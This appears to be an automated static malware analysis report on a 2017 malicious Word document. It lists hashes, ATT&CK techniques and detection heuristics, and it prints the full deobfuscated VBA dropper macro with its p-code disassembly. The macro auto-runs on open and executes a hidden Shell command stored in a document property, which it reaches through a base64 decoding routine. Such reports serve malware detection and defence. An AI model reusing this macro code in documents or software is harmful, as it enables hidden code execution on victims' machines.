Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9933e566adc9b0fc…

MALICIOUS

Office (OLE)

157.0 KB Created: 2017-04-20 04:28:00 Authoring application: Microsoft Office Word First seen: 2017-05-13
MD5: e3957c1e7f82e6ae944c00ca254d1110 SHA-1: 198f305e51c9e4c97a47021e46a4a7d031dcb2d0 SHA-256: 9933e566adc9b0fc7b3ad6ed0e9b6343abe480998513405eb19f957c6fc16220
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AUTOOPEN macro executes a Shell command that invokes PowerShell with specific execution policy bypass arguments. The obfuscated string 'Y29tcEFuWQ==' is decoded and likely represents a command to download and execute a further payload. This is supported by the 'Doc.Dropper.Agent-6298834-0' ClamAV detection.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6298834-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6298834-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Option Explicit
Sub AUTOoPEN(): Call VBA.Shell$(ActiveDocument.BuiltInDocumentProperties(utIaCKJsIhiDlfHxTy("Y29tcEFuWQ==")).Value, 0): End Sub
Function utIaCKJsIhiDlfHxTy(ByVal WclEEiSYOPDoKJjSUA)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim PyaFppRANHTxcMZiZS, jQInHVfWWzoTXfGERL
Set PyaFppRANHTxcMZiZS = CreateObject("mSxML2.DOmDocumEnT.3.0")
Set jQInHVfWWzoTXfGERL = PyaFppRANHTxcMZiZS.CReateelemENT("basE64")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Option Explicit
Sub AUTOoPEN(): Call VBA.Shell$(ActiveDocument.BuiltInDocumentProperties(utIaCKJsIhiDlfHxTy("Y29tcEFuWQ==")).Value, 0): End Sub
Function utIaCKJsIhiDlfHxTy(ByVal WclEEiSYOPDoKJjSUA)
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3496 bytes
SHA-256: 888325174910e4a43ccd92b8114ae8f57d8ca66c7e2d01106d2bd6e8e568c0c0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Sub AUTOoPEN(): Call VBA.Shell$(ActiveDocument.BuiltInDocumentProperties(utIaCKJsIhiDlfHxTy("Y29tcEFuWQ==")).Value, 0): End Sub
Function utIaCKJsIhiDlfHxTy(ByVal WclEEiSYOPDoKJjSUA)
Dim PyaFppRANHTxcMZiZS, jQInHVfWWzoTXfGERL
Set PyaFppRANHTxcMZiZS = CreateObject("mSxML2.DOmDocumEnT.3.0")
Set jQInHVfWWzoTXfGERL = PyaFppRANHTxcMZiZS.CReateelemENT("basE64")
jQInHVfWWzoTXfGERL.DatAtYPE = "bin.BAsE64"
jQInHVfWWzoTXfGERL.Text = WclEEiSYOPDoKJjSUA
utIaCKJsIhiDlfHxTy = eQSzbZDXlZfZscQuKH(jQInHVfWWzoTXfGERL.NOdetYPedvaLuE)
Set jQInHVfWWzoTXfGERL = Nothing
Set PyaFppRANHTxcMZiZS = Nothing
End Function
Function eQSzbZDXlZfZscQuKH(wTdUsIxSAvNAbGccwA)
Dim ynzynFBsTnwwCOxLOb
Set ynzynFBsTnwwCOxLOb = CreateObject("adODb.sTREaM")
ynzynFBsTnwwCOxLOb.Type = 1
ynzynFBsTnwwCOxLOb.Open
ynzynFBsTnwwCOxLOb.WrITE wTdUsIxSAvNAbGccwA
ynzynFBsTnwwCOxLOb.Position = 0
ynzynFBsTnwwCOxLOb.Type = 2
ynzynFBsTnwwCOxLOb.Charset = "us-AscIi"
eQSzbZDXlZfZscQuKH = ynzynFBsTnwwCOxLOb.reaDtEXT
Set ynzynFBsTnwwCOxLOb = Nothing
End Function

' Processing file: /tmp/qstore_7ytj0_tj
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 2758 bytes
' Line #0:
' 	Option  (Explicit)
' Line #1:
' 	FuncDefn (Sub jQInHVfWWzoTXfGERL())
' 	BoS 0x0000 
' 	LitStr 0x000C "Y29tcEFuWQ=="
' 	ArgsLd eQSzbZDXlZfZscQuKH 0x0001 
' 	Ld vbHide 
' 	ArgsMemLd RIZoDulBjKmatyejdcHUbjydOuNJJEGYw 0x0001 
' 	MemLd rRgYQVGIxecPdBlZBccFKPvanithefxxO 
' 	LitDI2 0x0000 
' 	Ld Mac 
' 	ArgsMemCall (Call) Value$ 0x0002 
' 	BoS 0x0000 
' 	EndSub 
' Line #2:
' 	FuncDefn (Function eQSzbZDXlZfZscQuKH(ByVal wTdUsIxSAvNAbGccwA, id_FFFE As Variant))
' Line #3:
' 	Dim 
' 	VarDefn ynzynFBsTnwwCOxLOb
' 	VarDefn id_0256
' Line #4:
' 	SetStmt 
' 	LitStr 0x0016 "mSxML2.DOmDocumEnT.3.0"
' 	ArgsLd NOdetYPedvaLuE 0x0001 
' 	Set ynzynFBsTnwwCOxLOb 
' Line #5:
' 	SetStmt 
' 	LitStr 0x0006 "basE64"
' 	Ld ynzynFBsTnwwCOxLOb 
' 	ArgsMemLd iMtUPDYdBURoQCyOwHKSdrcRsdmpcWdJw 0x0001 
' 	Set id_0256 
' Line #6:
' 	LitStr 0x000A "bin.BAsE64"
' 	Ld id_0256 
' 	MemSt bRDxClKxCzxPfqJuNnuPkmNdDZsZKVLGV 
' Line #7:
' 	Ld wTdUsIxSAvNAbGccwA 
' 	Ld id_0256 
' 	MemSt Text 
' Line #8:
' 	Ld id_0256 
' 	MemLd Charset 
' 	ArgsLd id_0258 0x0001 
' 	St eQSzbZDXlZfZscQuKH 
' Line #9:
' 	SetStmt 
' 	LitNothing 
' 	Set id_0256 
' Line #10:
' 	SetStmt 
' 	LitNothing 
' 	Set ynzynFBsTnwwCOxLOb 
' Line #11:
' 	EndFunc 
' Line #12:
' 	FuncDefn (Function id_0258(id_025A, id_FFFE As Variant))
' Line #13:
' 	Dim 
' 	VarDefn id_025C
' Line #14:
' 	SetStmt 
' 	LitStr 0x000C "adODb.sTREaM"
' 	ArgsLd NOdetYPedvaLuE 0x0001 
' 	Set id_025C 
' Line #15:
' 	LitDI2 0x0001 
' 	Ld id_025C 
' 	MemSt Type 
' Line #16:
' 	Ld id_025C 
' 	ArgsMemCall Open 0x0000 
' Line #17:
' 	Ld id_025A 
' 	Ld id_025C 
' 	ArgsMemCall Xor 0x0001 
' Line #18:
' 	LitDI2 0x0000 
' 	Ld id_025C 
' 	MemSt AUTOoPEN 
' Line #19:
' 	LitDI2 0x0002 
' 	Ld id_025C 
' 	MemSt Type 
' Line #20:
' 	LitStr 0x0008 "us-AscIi"
' 	Ld id_025C 
' 	MemSt utIaCKJsIhiDlfHxTy 
' Line #21:
' 	Ld id_025C 
' 	MemLd WclEEiSYOPDoKJjSUA 
' 	St id_0258 
' Line #22:
' 	SetStmt 
' 	LitNothing 
' 	Set id_025C 
' Line #23:
' 	EndFunc

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